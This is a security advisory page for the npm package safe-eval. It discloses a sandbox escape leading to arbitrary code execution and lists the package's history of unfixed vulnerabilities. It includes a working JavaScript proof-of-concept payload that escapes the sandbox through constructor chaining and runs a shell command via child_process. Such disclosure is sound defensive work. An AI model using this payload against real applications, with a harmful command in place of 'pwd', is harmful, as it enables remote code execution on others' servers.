Sandbox Breakout / Arbitrary Code Execution in safe-eval
All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.
For example, the payload
((() => {
const targetKey = Object.keys(this)[0];
Object.defineProperty(this, targetKey, {
get: function() {
return arguments.callee.caller.constructor(
"return global.process.mainModule.require('child_process').execSync('pwd').toString()"
)();
}
});
})();```
may be used to print the `pwd` to the console.
## Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | safe-eval | >= 0.0.0 | no fix |
References
- Weakness (CWE)
-- Platform
- npm
- Package
safe-eval- Disclosed
- 03.09.2020
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-9pcf-h8q9-63f6 - CC BY 4.0
Vulnerability history: safe-eval
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 6
- First → latest
- 07.2018 04.2023
- Without a fix
- 6
- Exploited in attacks
- 0
Severity breakdown
- Critical 5
- High 1
Disclosures per year
- 2018: 1
- 2019: 0
- 2020: 2
- 2021: 0
- 2022: 1
- 2023: 2
- 2024: 0
- 2025: 0
- 2026: 0
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Sandbox Breakout / Arbitrary Code Execution in safe-eval this entry
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